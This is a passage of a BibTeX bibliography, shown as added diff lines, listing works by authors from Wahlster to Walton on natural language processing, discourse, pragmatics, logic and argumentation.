Intelligenz}, + number = {RR--93--02}, + year = {1993}, + address = {Postfach 20 80, D--6750 Kaiserslautern, Germany}, + xref = {Published: see wahlster-etal:1993a2.}, + topic = {nl-generation;graphics-generation;} + } + +@article{ wahlster-etal:1993a2, + author = {Wolfgang Wahlster and Elisabeth Andr\'e and Wolfgang + Finkler and Hans-Juergen Profitlich and Thomas Rist}, + title = {Plan-Based Integration of Natural Language and + Graphics Generation}, + journal = {Artificial Intelligence, Special Volume on Natural + Language Processing}, + year = {1993}, + volume = {63}, + number = {1--2}, + pages = {387--427}, + topic = {nl-generation;multimedia-generation;} +} + +@book{ waibel-lee_kf:1990a, + editor = {Alex Waibel and Kai-Fu Lee}, + title = {Readings in Speech Recognition}, + publisher = {Morgan Kaufmann Publishers}, + year = {1990}, + address = {San Mateo, California}, + ISBN = {1-55860-124-4}, + topic = {speech-recognition;} + } + +@unpublished{ wainer-maida:1990a, + author = {Jacques Wainer and Anthony Maida}, + title = {Uses of Nonmonotonic Logic in Natural Language + Understanding: Implicatures}, + year = {1990}, + note = {Unpublished manuscript, Department of Computer Science, + Pennsylvania State University.}, + xref = {Revision of paper in 5th int symp meth int systs.}, + topic = {implicature;pragmatics;nonmonotonic-logic;nm-ling;} + } + +@unpublished{ wainer-maida:1990b, + author = {Jacques Wainer and Anthony Maida}, + title = {Good and Bad News in Formalizing Generalized Implicature}, + year = {1990}, + note = {Unpublished manuscript, Department of Computer Science, + Pennsylvania State University.}, + topic = {implicature;pragmatics;nonmonotonic-logic;nm-ling;} + } + +@phdthesis{ wainer:1991a, + author = {Jacques Wainer}, + title = {Uses of Nonmonotonic Logic in Natural Language + Understanding: Generalized Implicatures}, + school = {Department of Computer Science, the Pennsylvania State + University}, + year = {1991}, + type = {Ph.{D}. Dissertation}, + address = {University Park, Pennsylvania}, + topic = {implicature;pragmatics;nm-ling;} + } + +@inproceedings{ wainer:1992a, + author = {Jacques Wainer}, + title = {Combining Circumscription and Modal Logic}, + booktitle = {Proceedings of the Tenth National Conference on + Artificial Intelligence}, + year = {1992}, + editor = {Paul Rosenbloom and Peter Szolovits}, + pages = {648--653}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {kr;circumscription;kr-course;} + } + +@inproceedings{ wainer:1993a, + author = {Jacques Wainer}, + title = {Epistemic Extension of Propositional Preference Logics}, + booktitle = {Proceedings of the Thirteenth International Joint + Conference on Artificial Intelligence}, + year = {1993}, + editor = {Ruzena Bajcsy}, + pages = {382--387}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {epistemic-logic;reasoning-about-knowledge;nonmonotonic-reasoning;} + } + +@article{ waldinger-levitt:1974a, + author = {R.J. Waldinger and K.N. Levitt}, + title = {Reasoning about Programs}, + journal = {Artificial Intelligence}, + year = {1974}, + volume = {5}, + number = {3}, + pages = {235--316}, + acontentnote = {Abstract: + This paper describes a theorem prover that embodies knowledge + about programming constructs, such as numbers, arrays, lists, + and expressions. The program can reason about these concepts + and is used as part of a program verification system that uses + the Floyd-Naur explication of program semantics. It is + implemented in the QA4 language; the QA4 system allows many + pieces of strategic knowledge, each expressed as a small + program, to be coordinated so that a program stands forward when + it is relevant to the problem at hand. The language allows + clear, concise representation of this sort of knowledge. The QA4 + system also has special facilities for dealing with commutative + functions, ordering relations, and equivalence relations; these + features are heavily used in this deductive system. The program + interrogates the user and asks his advice in the course of a + proof. Verifications have been found for Hoare's FIND program, + a real-number division algorithm, and some sort programs, as + well as for many simpler algorithms. Additional theorems have + been proved about a pattern matcher and a version of Robinson's + unification algorithm. The appendix contains a complete + annotated listing of the deductive system and annotated traces + of several of the deductions performed by the system. } , + topic = {theorem-proving;program-verification;} + } + +@incollection{ waldinger:1977a1, + author = {Richard J. Waldinger}, + title = {Achieving Several Goals Simultaneously}, + editor = {E. Elcock and Donald Michie}, + booktitle = {Machine Intelligence 8}, + publisher = {Ellis Horwood}, + address = {Chichester, England}, + pages = {94--136}, + year = {1977}, + xref = {Republication: waldinger:1977a2.}, + topic = {foundations-of-planning;planning-algorithms;} + } + +@incollection{ waldinger:1977a2, + author = {Richard Waldinger}, + title = {Achieving Several Goals Simultaneously}, + booktitle = {Readings in Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + year = {1981}, + editor = {Bonnie Webber and Nils J. Nilsson}, + pages = {250--271}, + address = {Los Altos, California}, + xref = {Original Publication: waldinger:1977a1.}, + topic = {foundations-of-planning;planning-algorithms;} + } + +@techreport{ waldinger-stickel:1990a, + author = {Richard J. Waldinger and Mark E. Stickel}, + title = {Proving Properties of Rule-Based Systems}, + type = {Technical Note}, + institution = {AI Center, SRI International}, + address = {333 Ravenswood Ave., Menlo Park, CA 94025}, + number = {494}, + year = {1990}, + topic = {program-verification;expert-systems;rule-based-reasoning;} +} + +@incollection{ waldo:1979a, + author = {James Waldo}, + title = {A {PTQ} Semantics for Sortal Incorrectness}, + booktitle = {Linguistics, Philosophy, and {M}ontague Grammar}, + publisher = {University of Texas Press}, + year = {1979}, + editor = {Steven Davis and Marianne Mithun}, + pages = {311--331}, + address = {Austin, Texas}, + topic = {Montague-grammar;sortal-incorrectness;} + } + +@book{ walker_de:1978a, + editor = {Donald E. Walker}, + title = {Understanding Spoken Language}, + publisher = {North-Holland}, + year = {1978}, + address = {Amsterdam}, + ISBN = {0444002723}, + contentnote = {TC: + 1. Jane J. Robinson, "Preface", pp. xv--xviii + 2. Donald E. Walker, "Introduction and Overview", pp. 1--13 + 3. William H. Paxton, "The Language Definition System", pp. 17--40 + 4. William H. Paxton, "The Executive System", pp. 41--85 + 5. William H. Paxton, "Experimental Studies", pp. 87--117 + 6. Gary G. Hendrix, "The Representation of Semantic + Knowledge", pp. 121--181 + 7. Gary G. Hendrix, "The Model of the Domain", pp. 183--226 + 8. Gary G. Hendrix, "Semantic Aspects of Translation", pp. 193--226 + 9. Barbara J. Grosz, "Discourse", pp. 229--234 + 10. Barbara J. Grosz, "Discourse Analysis", pp. 235--268 + 11. Barbara J. Grosz, "Focus Spaces: A Representation of + the Focus of Attention of a Dialog", pp. 269--285 + 12. Barbara J. Grosz, "Resolving Definite Noun + Phrases", pp. 287--298 + 13. Barbara J. Grosz, "Shifting Focus", pp. 299--314 + 14. Barbara J. Grosz, "Ellipsis", pp. 315--337 + 15. Barbara J. Grosz, "Discourse: Recapitulation and a Look + Ahead", pp. 339--344 + 16. Gary G. Hendrix, "Determining an Appropriate + Response", pp. 347--353 + 17. Richard E. Fikes and Gary G. Hendrix, "The Deduction + Component", pp. 355--374 + 18. Jonathan Slocum, "Generating a Verbal Response", pp. 375--381 + 19. Ann E. Robinson, "Conclusion", pp. 383--391 + } , + topic = {nl-processing;} + } + +@incollection{ walker_de:1978b, + author = {Donald E. Walker}, + title = {Introduction and Overview}, + booktitle = {Understanding Spoken Language}, + publisher = {North-Holland}, + year = {1978}, + editor = {Donald E. Walker}, + pages = {1--13}, + address = {Amsterdam}, + topic = {computational-dialogue;nl-processing;speech-recognition;} + } + +@inproceedings{ walker_de:1989a, + author = {Donald E. Walker}, + title = {Developing Lexical Resources}, + booktitle = {Proceedings of the Fifth Annual Conference of the UW + Centre for the {N}ew {O}xford {E}nglish {D}ictionary}, + year = {1989}, + publisher = {University of Waterloo Centre for the New Oxford + Dictionary}, + address = {Waterloo, Ontario}, + missinginfo = {pages, organization}, + topic = {computational-lexicography;} + } + +@incollection{ walker_de:1994a, + author = {Donald E. Walker}, + title = {The Ecology of Language}, + booktitle = {Current Issues in Computational Linguistics: Essays in + Honour of {D}on {W}alker}, + publisher = {Giardini Editori e Stampatori and Kluwer Academic + Publishers}, + year = {1994}, + editor = {Antonio Zampolli and Nicoletta Calzolari and Martha Palmer}, + pages = {359--375}, + address = {Pisa and Dordrecht}, + topic = {Text-Encoding-Initiative;linguistic-archiving-projects; + corpus-linguistics;} + } + +@book{ walker_de-etal:1995a, + editor = {Donald E. Walker and Antonio Zampolli and + Nicoletta Calzolari}, + title = {Automating The Lexicon: Research and Practice in A Multilingual + Environment}, + publisher = {Oxford University Press}, + year = {1995}, + address = {Oxford}, + ISBN = {0198239505}, + topic = {computational-lexicography;} + } + +@article{ walker_el-herman:1988a, + author = {Ellen Lowenfeld Walker and Martin Herman}, + title = {Geometric Reasoning for Constructing {3D} Scene + Descriptions from Images}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {37}, + number = {1--3}, + pages = {275--290}, + topic = {geometrical-reasoning;spatial-reasoning;three-D-reconstruction;} + } + +@techreport{ walker_ma:1992a, + author = {Marilyn A. Walker}, + title = {Informational Redundancy and Resource Bounds in Dialog}, + institution = {Institute for Research in Cognitive Science}, + year = {1992}, + number = {IRCS-92-25}, + address = {Philadelphia}, + topic = {discourse-simulation;pragmatics;computational-dialogue;} + } + +@inproceedings{ walker_ma:1992b, + author = {Marilyn A. Walker}, + title = {Redundancy in Collaborative Dialogue}, + booktitle = {Fourteenth International Conference on Computational + Linguistics}, + year = {1992}, + pages = {345--351}, + missinginfo = {organization, publisher, address}, + topic = {discourse-simulation;pragmatics;} + } + +@phdthesis{ walker_ma:1993a, + author = {Marilyn A. Walker}, + title = {Informational Redundancy and Resource Bounds in Dialog}, + school = {Department of Computer \& Information Science, + University of Pennsylvania}, + year = {1993}, + note = {Institute for Research in Cognitive Science report + IRCS-93-45}, + topic = {discourse-simulation;pragmatics;} + } + +@inproceedings{ walker_ma:1995a, + author = {Marilyn A. Walker}, + title = {Rejection by Implicature}, + booktitle = {Proceedings of the Twentieth Meeting of the Berkeley + Linguistics Society}, + year = {1995}, + organization = {Berkeley Linguistics Society}, + publisher = {Berkeley Linguistics Society}, + address = {Berkeley, California}, + missinginfo = {pages. Year, publisher info are guesses.}, + topic = {discourse;implicature;pragmatics;} + } + +@unpublished{ walker_ma:1996a, + author = {Marilyn A. Walker}, + title = {Inferring Acceptance and Rejection in Dialogue by + Default Rules of Inference}, + year = {1996}, + note = {Unpublished manuscript, ATT Laboratories.}, + topic = {discourse;speech;speech-act-recognition;nm-ling;pragmatics;} + } + +@article{ walker_ma:1996b, + author = {Marilyn A. Walker}, + title = {Limited Attention and Discourse Structure}, + journal = {Computational Linguistics}, + year = {1996}, + volume = {22}, + number = {2}, + pages = {255--264}, + topic = {discourse;resource-limited-reasoning;limited-attention; + pragmatics;} + } + +@article{ walker_ma:1996c, + author = {Marilyn A. Walker}, + title = {The Effect of Resource Limits and Task Complexity on + Collaborative Planning in Dialogue}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {85}, + number = {1--2}, + pages = {181--243}, + topic = {discourse;resource-limited-reasoning;collaboration;pragmatics;} + } + +@incollection{ walker_ma:1997a, + author = {Marilyn Walker}, + title = {Centering, Anaphora Resolution, and Discourse Structure}, + booktitle = {Centering Theory in Discourse}, + publisher = {Oxford University Press}, + year = {1997}, + editor = {Marilyn A. Walker and Arivind K. Joshi and Ellen Prince}, + pages = {401--435}, + address = {Oxford}, + topic = {anaphora-resolution;discourse;pragmatics; + discourse-structure;centering;} + } + +@inproceedings{ walker_ma-etal:1997a, + author = {Marilyn A. Walker and Diane Litman J. and Candace + A. Kamm and Alicia Abella}, + title = {{PARADISE}: A Framework for Evaluating Spoken Dialogue + Agents}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {271--280}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {discourse-modeling;} + } + +@book{ walker_ma-etal:1997b, + editor = {Marilyn A. Walker and Arivind K. Joshi and Ellen Prince}, + title = {Centering Theory in Discourse}, + publisher = {Oxford University Press}, + year = {1997}, + address = {Oxford}, + contentnote = {TC: + 1. Marilyn Walker and Arivind Joshi and Ellen Prince, + "Centering in Naturally Occurring Discourse: + An Overview" + 2. Arivind Joshi and Scott Weinstein, "Formal Systems for + Complexity and Control of Discourse: A Reprise and + Some Hints" + 3. Barbara J. Grosz and Candace L. Sidner, "Lost Intuitions + and Forgotten Intentions" + 4. Sharon Cote, "Ranking Forward-Looking Centers" + 5. Susan Hudson-D'Zmura, "Control and Event Structure: The + View from the Center" + 6. Megumi Kamayama, "Intrasentential Centering: A Case Study" + 7. Barbara Di Eugenio, "Centering in {I}talian" + 8. \"Umit Deniz Turan, "Ranking Forward-Looking Centers in + {T}urkish: Universal and Language-Specific Properties" + 9. Masayo Iida, "Discourse Coherence and Shifting Centers in + {J}apanese Texts" + 10. Jeanette K. Gundel, "Centering Theory and the Givenness + Hierarchy: Towards a Synthesis" + 11. Susan Hudson-D'Zmura and Michael K. Tanenhaus, "Assigning + Antecedents to Ambiguous Pronouns: The Role of the + Center of Attention as the Default Assignment" + 12. Susan E. Brennan, "Centering as a Psychological Resource + for Achieving Joint Reference in Spontaneous Discourse" + 13. Beryl Hoffman, "Word Order, Information Structure, and + Centering in {T}urkish' + 14. Felicia Hurewitz, "A Quantitative Look at Discourse + Coherence" + 15. Barbara J. Grosz and Yale Ziv, "Centering, Global Focus, + and Right Dislocation" + 16. Betty J. Birner, "Recency Effects in {E}nglish Inversion" + 17. Rebecca J. Passoneau, "Interaction of Discourse Structure + with Explicitness of Discourse Anaphoric Noun Phrases" + 18. Craige Roberts, "The Place of Centering in a General Theory + of Anaphora" + 19. Marilyn Walker, "Centering, Anaphora Resolution, and + Discourse Structure" + }, + xref = {Review: mitkov:1999a.}, + topic = {anaphora-resolution;centering;pragmatics;} + } + +@incollection{ walker_ma-etal:1997c, + author = {Marilyn Walker and Arivind Joshi and Ellen Prince}, + title = {Centering in Naturally Occurring Discourse: + An Overview}, + booktitle = {Centering Theory in Discourse}, + publisher = {Oxford University Press}, + year = {1997}, + editor = {Marilyn A. Walker and Arivind K. Joshi and Ellen Prince}, + pages = {1--28}, + address = {Oxford}, + topic = {anaphora-resolution;discourse;pragmatics;centering;} + } + +@incollection{ walker_ma-etal:1997d, + author = {Marilyn Walker and Diane J. Litman and Candace A. Kamm + and Alicia Abella}, + title = {Evaluating Interactive Dialogue Systems: Extending + Component Evaluation to Integrated System Evaluation}, + booktitle = {Interactive Spoken Dialog Systems: Bridging + Speech and {NLP} Together in Real Applications}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Julia Hirschberg and Candace Kamm and Marilyn Walker}, + pages = {1--8}, + address = {New Brunswick, New Jersey}, + topic = {computational-dialogue;nlp-evaluation;} + } + +@article{ walker_ma-moore_j:1997a, + author = {Marilyn A. Walker and Johanna D. Moore}, + title = {Empirical Studies in Discourse}, + journal = {Computational Linguistics}, + year = {1997}, + volume = {23}, + number = {1}, + pages = {1--12}, + contentnote = {This is an introduction to Comp Ling 23(1), an + issue descended from an {AAAI} workshop, devoted to "empirical + studies in discourse". It contains an extensive bibliography.}, + topic = {discourse;corpus-linguistics;pragmatics;} + } + +@book{ walker_ma:1999a, + editor = {Marilyn A. Walker}, + title = {Towards Standards and Tools for Discourse Tagging: + Proceedings of the Workshop}, + publisher = {Association for Computational Linguistics}, + year = {1999}, + address = {Somerset, New Jersey}, + contentnote = {TC: + 1. Steven Bird and Mark Liberman, "Annotation Graphs as a + Framework for Multidimensional Linguistic + Data Analysis", pp. 1--10 + 2. Jean Carletta and Amy Isard, "The {MATE} Annotation Workbench: + User Requirements", pp. 11--17 + 3. Jean-Fran\c{c}ois Delannoy, "Argumentation Mark-Up: A + Proposal", pp. 18--25 + 4. A. Ichikawa and M. Araki amd Y. Horiuchi and M. Ishizaki + and S. Itabashi and T. Itoh and H. Kashioka and + K. Kato and H. Kikuchi and H. Koiso and T. Kumagai + and A. Kurematsu and K. Maekawa and S. Nakazato and + M. Tamoto and S. Tutiya and Y. Yamashita and + T. Yoshimura, "Evaluation of Annotation Schemes for + {J}apanese Discourse", pp. 26--34 + 5. Marion Klein, "Standardisation Efforts on the Level of + Dialogue Act in the {MATE} Project", pp. 35--41 + 6. Lori Levin and Klaus Ries and Ann Thym\'e-Gobbel and Alon + Levie, "Tagging of Speech Acts and Dialogue Games + in {S}panish Call Home", pp. 42--47 + 7. Daniel Marcu and Estibaliz Amorrortu and Magdalena + Romera, "Experiments in Constructing a Corpus of + Discourse Trees", pp. 48--57 + 8. Jon David Patrick, "Tagging Psychotherapeutic Interviews for + Linguistic Analysis", pp. 58--64 + 9. Massimo Poesio and F. Bruneseaux and Laurent Romary, "The + {MATE} Meta-Scheme for Coreference in Dialogues + in Multiple Languages", pp. 65--74 + 10. Claudia Soria and Vito Pirrelli, "A Recognition-Based + Meta-Scheme for Dialogue Acts Annotation", pp. 75--83 + 11. Simone Teufel and Marc Moens, "Discourse-Level Argumentation + in Scientific Articles: Human and Automatic + Annotation", pp. 84--93 + 12. Graziella Tonfoni, "A Mark up Language for Tagging Discourse + and Annotating Documents in Context Sensitive + Interpretation Environments", pp. 94--100 + 13. David R. Traum and Christine H. Nakatani, "A Two-Level Approach + to Coding Dialogue for Discourse Structure: Activities + of the 1998 {DRI} Working Group on Higher-Level + Structures", pp. 101--108 + 14. Teresa Zollo and Mark Core, "Automatically Extracting + Grounding Tags from {BF} Tags", pp. 109--114 + } , + topic = {discourse-tagging;} + } + +@incollection{ walker_r:1975a, + author = {Ralph C.S. Walker}, + title = {Conversational Implicature}, + booktitle = {Meaning, Reference, and Necessity: New Studies + in Semantics}, + publisher = {Cambridge University Press}, + year = {1975}, + editor = {Simon Blackburn}, + pages = {133--181}, + address = {Cambridge, England}, + topic = {implicature;pragmatics;} + } + +@book{ wall_l-etal:2000a, + author = {Larry Wall and Tom Christiansen and Jon Orwant}, + title = {Programming {P}erl}, + edition = {3}, + publisher = {O'Reilly}, + year = {2000}, + address = {Beijing}, + topic = {programming-manual;} + } + +@incollection{ wall_re:1971a, + author = {Robert E. Wall}, + title = {Mathematical Linguistics}, + booktitle = {A Survey of Linguistic Science}, + publisher = {Privately Published, Linguistics Program, University of + Maryland.}, + year = {1971}, + editor = {William Orr Dingwall}, + pages = {682--716}, + address = {College Park, Maryland}, + topic = {mathematical-linguistics;} + } + +@article{ wallace:1965a, + author = {John R. Wallace}, + title = {Sortal Predicates and Quantification}, + journal = {The Journal of Philosophy}, + year = {1965}, + volume = {62}, + number = {1}, + pages = {8--13}, + topic = {semantics-of-common-nouns;} + } + +@article{ wallace_j:1971a, + author = {John Wallace}, + title = {Convention {T} and Substitutional Quantification}, + journal = {No\^us}, + year = {1971}, + volume = {5}, + number = {2}, + pages = {199--211}, + topic = {truth-definitions;substitutional-quantification;} + } + +@incollection{ wallace_j:1972a, + author = {John Wallace}, + title = {On the Frame of Reference}, + booktitle = {Semantics of Natural Language}, + publisher = {D. Reidel Publishing Co.}, + year = {1972}, + editor = {Gilbert Harman and Donald Davidson}, + pages = {219--252}, + address = {Dordrecht}, + topic = {truth-definitions;philosophy-of-language;} + } + +@article{ wallace_j:1972b, + author = {John Wallace}, + title = {Belief and Satisfaction}, + journal = {No\^us}, + year = {1972}, + volume = {6}, + pages = {85--95}, + topic = {belief;propositional-attitudes;truth-definitions;} + } + +@article{ wallace_j:1972c, + author = {John Wallace}, + title = {Positive, Comparative, Superlative}, + journal = {The Journal of Philosophy}, + year = {1972}, + volume = {69}, + pages = {773--782}, + missinginfo = {number}, + topic = {semantics-of-adjectives;comparative-constructions;} + } + +@incollection{ wallace_j:1975a, + author = {John Wallace}, + title = {Nonstandard Theories of Truth}, + booktitle = {The Logic of Grammar}, + publisher = {Dickenson Publishing Co.}, + year = {1975}, + editor = {Donald Davidson and Gilbert H. Harman}, + pages = {50--60}, + address = {Encino, California}, + topic = {Davidson-semantics;intensionality;} + } + +@incollection{ wallace_j:1978a, + author = {John Wallace}, + title = {Only in the Context of a Sentence + Do Words Have Any Meaning}, + booktitle = {Contemporary Perspectives in the Philosophy of Language}, + publisher = {University of Minnesota Press}, + year = {1978}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + pages = {305--325}, + address = {Minneapolis}, + topic = {foundations-of-semantics;philosophy-of-language;} + } + +@book{ wallace_k:1988a, + editor = {Karen Wallace}, + title = {Morphology as a Computational Problem}, + publisher = {Department of Linguistics, University of California + at Los Angeles}, + year = {1889}, + address = {Los Angeles, California}, + contentnote = {TC: + 1. S. Anderson, Morphology as a Parsing Problem, 1--21 + 2. Sean Boisin, Parsing Morphology using Definite Clauses in + Prolog + 3. Sean Boisin, Pro-KIMMO: A Prolog Implementation of + Two-Level Morphology + 4.Thomas L. Cornell, IceParse: A Model of Inflectional + Parsing and Word Recognition for Icelandic Ablauting + Verbs + 5. William B. Dolan, A Syllable-Based Parallel Parsing Model + for Parsing Indonesian Morphology + 6. Karen D. Emmorey, Do People Parse? + 7. Jorge Hankamer, Parsing Nominal Compounds in Turkish + 8. Karen Wallace, Parsing Quechua Morphologuy for Syntactic + Analysis + } , + topic = {computational-morphology;} + } + +@book{ wallace_kr:1970a, + author = {Karl R. Wallace}, + title = {Understanding Discourse; The Speech Act and Rhetorical Action}, + publisher = {Louisiana State University Press}, + year = {1970}, + address = {Baton Rouge}, + topic = {speech-acts;} + } + +@article{ wallace_rj:2000a, + author = {R. Jay Wallace}, + title = {Review of {\it Freedom and Responsibility}, by {H}ilary + {B}ok}, + journal = {The Philosophical Review}, + year = {2000}, + volume = {109}, + number = {4}, + pages = {592--595}, + topic = {freedom;volition;blameworthiness;} + } + +@book{ wallen:1990a, + author = {Lincoln A. Wallen}, + title = {Automated Proof Search in Non-Classical Logics: + Efficient Matrix Proof Methods for Modal and Intuitionistic + Logics}, + publisher = {The {MIT} Press}, + address = {Cambridge, Massachusetts}, + year = {1990}, + callnumber = {QA9.54 .W35 1990}, + topic = {theorem-proving;modal-logic;intuitionistic-logic;} + } + +@incollection{ wallentius-zionts:1977a, + author = {J. Wallentius and S. Zionts}, + title = {A Research Project on Multicriterion Decision Making}, + booktitle = {Conflicting Objectives in Decisions}, + publisher = {John Wiley and Sons}, + year = {1977}, + editor = {David E. Bell and Ralph L. Keeney and Howard Raiffa}, + pages = {76--97}, + address = {New York}, + topic = {decision-analysis;multiattribute-utility;} + } + +@book{ walley:1991a, + author = {Peter Walley}, + title = {Statistical Reasoning with Imprecise Probabilities}, + publisher = {Chapman and Hall}, + year = {1991}, + address = {London}, + missinginfo = {A's 1st name.}, + topic = {foundations-of-probability;statistical-inference;} + } + +@article{ walley:1996a, + author = {Peter Walley}, + title = {Measures of Uncertainty in Expert Systems}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {83}, + number = {1}, + pages = {1--58}, + contentnote = {Compares 4 measures of uncertainty: + -- Additive (Bayesian) probabilities + -- Coherent lower previsions + -- Dempster-Shafer + -- Fuzzy logic + }, + topic = {probabilistic-reasoning;reasoning-about-uncertainty;} + } + +@incollection{ wallis-shortliffe:1989a, + author = {Jerold W. Wallis and Edward H. Shortliffe}, + title = {Customized Explanations Using Causal Knowledge}, + booktitle = {Rule-Based Expert Systems: The {MYCIN} Experiments of the + Stanford Heuristic Programming Project}, + year = {1989}, + editor = {Alfred Kobsa and Wolfgang Wahlster}, + publisher = {Addison-Wesley Publishing Company}, + pages = {371--388}, + topic = {nl-generation;explanation;} +} + +@incollection{ wallis-etal:1998a, + author = {Peter Wallis and Edmund Yuen and Greg Chase}, + title = {Proper Name Classification in an Information Extraction + Toolset}, + booktitle = {Proceedings of the Joint Conference on New Methods in + Language Processing and Computational Language Learning}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Jill Burstein and Claudia Leacock}, + pages = {161--162}, + address = {Somerset, New Jersey}, + topic = {personal-name-recognition;information-retrieval;} + } + +@book{ walraet:1991a, + author = {Bob Walraet}, + title = {Formal Foundations For Software Engineering Methods}, + publisher = {Springer-Verlag}, + year = {1997}, + address = {Berlin}, + ISBN = {3540636137 (sc: alk. paper)}, + topic = {software-engineering;} + } + +@article{ walter_s:1998a, + author = {Sharon Walter}, + title = {Review of {\it Evaluating Natural Language Processing + Systems: An Analysis and a Review}, by {K}aren {S}parck {J}ones + and {J}ulia {R}. {G}alliers}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {24}, + number = {2}, + pages = {336--338}, + topic = {nlp-evaluation;} + } + +@article{ walther_c:1985a, + author = {Christoph Walther}, + title = {A Mechanical Solution of {S}chubert's Steamroller by + Many-Sorted Resolution}, + journal = {Artificial Intelligence}, + year = {1985}, + volume = {26}, + number = {2}, + pages = {217--224}, + topic = {theorem-proving;taxonomic-reasoning;} + } + +@article{ walther_c:1994a, + author = {Christoph Walther}, + title = {On Proving the Termination of Algorithms by Machine}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {71}, + number = {1}, + pages = {101--157}, + acontentnote = {Abstract: + Proving the termination of a recursively defined algorithm + requires a certain creativity of the (human or automated) + reasoner for inventing a hypothesis whose truth implies that the + algorithm terminates. We present a reasoning method for + simulating this kind of creativity by machine. The proposed + method works automatically, i.e. without any human support. We + show, (1) how a termination hypothesis for an algorithm is + synthesized by machine, (2) which knowledge about algorithms is + required for an automated synthesis, and (3) how this knowledge + is computed. Our method solves the problem for a relevant class + of algorithms, including classical sorting algorithms and + algorithms for standard arithmetical operations, which are given + in a pure functional notation. The soundness of the method is + proved and several examples are presented for illustrating the + performance of the proposal. The method has been implemented and + proved successful in practice. } , + topic = {automatic-programming;program-synthesis;theorem-proving;} + } + +@article{ walther_c-kolbe:2000a, + author = {Christoph Walther and Thomas Kolbe}, + title = {Proving Theorems by Reuse}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {116}, + number = {1--2}, + pages = {17--66}, + topic = {theorem-proving;case-based-reasoning;proof-reuse;} + } + +@incollection{ walther_e-zemach:1976a, + author = {Eric Walther and Eddy M. Zemach}, + title = {Substance Logic}, + booktitle = {Language in Focus}, + publisher = {D. Reidel Publishing Co.}, + year = {1976}, + editor = {Asa Kasher}, + pages = {55--74}, + address = {Dordrecht}, + topic = {reference;exotic-logics;} + } + +@book{ walton_d:1998a, + author = {Douglas Walton}, + title = {The New Dialectic: Conversational Contexts of Argument}, + publisher = {University of Toronto Press}, + year = {1998}, + address = {Toronto}, + xref = {Review: swoyer:2001a.}, + topic = {informal-logic;fallacies;rhetoric;} + } + +@book{ walton_d:1998b, + author = {Douglas Walton}, + title = {Ad Hominem Arguments}, + publisher = {University of Alabama Press}, + year = {1998}, + address = {Tuscaloosa, Alabama}, + xref = {Review: swoyer:2001a.}, + topic = {informal-logic;fallacies;rhetoric;} + } + +@article{ walton_dn:1984a, + author = {Douglas N. Walton}, + title = {Cans, Advantages, and Possible Worlds}, + journal = {Philosophia}, + year = {1984}, + volume = {14}, + pages = {83--97}, + missinginfo = {number}, + topic = {ability;} + } + +@book{ walton_dn:1987a, + author = {Douglas N. Walton}, + title = {Informal Fallacies: Towards a Theory of Argument Criticisms}, + publisher = {J. Benjamins Publishing Co.}, + year = {1987}, + address = {Amsterdam}, + topic = {argumentation;} + } + +@book{ walton_dn:1989a, + author = {Douglas N. Walton}, + title = {Question-Reply Argumentation}, + publisher = {Greenwood Press}, + year = {1989}, + address = {New York}, + topic = {argumentation;} + } + +@book{ walton_dn:1990a, + author = {Douglas N. Walton}, + title = {Practical Reasoning: Goal-Driven, Knowledge-Based, + Action-Guiding Argumentation } , + publisher = {Rowman and Littlefield}, + year = {1990}, + address = {Totowa, New Jersey}, + topic = {philosophy-of-action;practical-reasoning;argumentation;} + } + +@book{ walton_dn:1991a, + author = {Douglas N. Walton}, + title = {Begging the Question: Circular Reasoning as a Tactic of + Argumentation}, + publisher = {Greenwood Press}, + year = {1991}, + address = {New York}, + topic = {argumentation;} + } + +@book{ walton_dn:1992a, + author = {Douglas N. Walton}, + title = {Slippery Slope Arguments}, + publisher = {Oxford University Press}, + year = {1992}, + address = {Oxford}, + contentnote = {TC: 1. Introduction and perspectives + 2. The sorites slippery slope argument + 3. The causal slippery slope argument + 4. The precedent slippery slope argument + 5. The full slippery slope argument + 6. Analysis of the dialectical structure of slippery + slope arguments + 7. Practical advice on tactics}, + contentnote = {This is an informal argumentation book, without much + about the theoretical aspects.}, + topic = {vagueness;sorites-paradox;} + } + +@book{ walton_dn:1992b, + author = {Douglas N. Walton}, + title = {The Place of Emotion in Argument}, + publisher = {Pennsylvania State University Press}, + year = {1992}, + address = {University Park, Pennsylvania}, + topic = {argumentation;emotion;} + } + +@book{ walton_dn:1992c, + author = {Douglas N. Walton}, + title = {Plausible Argument in Everyday Conversation}, + publisher = {State University of New York Press}, + year = {1992}, + address = {Albany}, + topic = {argumentation;} + } + +@book{ walton_dn:1995a, + author = {Douglas N. Walton}, + title = {A Pragmatic Theory of Fallacy}, + publisher = {University of Alabama Press}, + year = {1995}, + address = {Tuscaloosa, Alabama}, + topic = {pragmatics;argumentation;} + } + +@book{ walton_dn:1996a, + author = {Douglas N. Walton}, + title = {Argument Structure: A Pragmatic Theory}, + publisher = {University of Toronto}, + year = {1996}, + address = {Toronto}, + topic = {argumentation;pragmatics;} + } + +@book{ walton_dn:1996b, + author = {Douglas N. Walton}, + title = {Argumentation Schemes for Presumptive Reasoning}, + publisher = {Lawrence Erlbaum Associates}, + year = {1996}, + address = {Mahwah, New Jersey}, + topic = {argumentation;applied-nonmonotonic-reasoning;} + } + +@book{ walton_dn:1996c, + author = {Douglas N. Walton}, + title = {Arguments from Ignorance}, + publisher = {Pennsylvania State University Press}, + year = {1996}, + address = {University Park, Pennsylvania}, + topic = {argumentation;} + } + +@book{ walton_dn:1996d, + author = {Douglas N. Walton}, + title = {Fallacies Arising from Ambiguity}, + publisher = {Kluwer Academic Publishers}, + year = {1996}, + address = 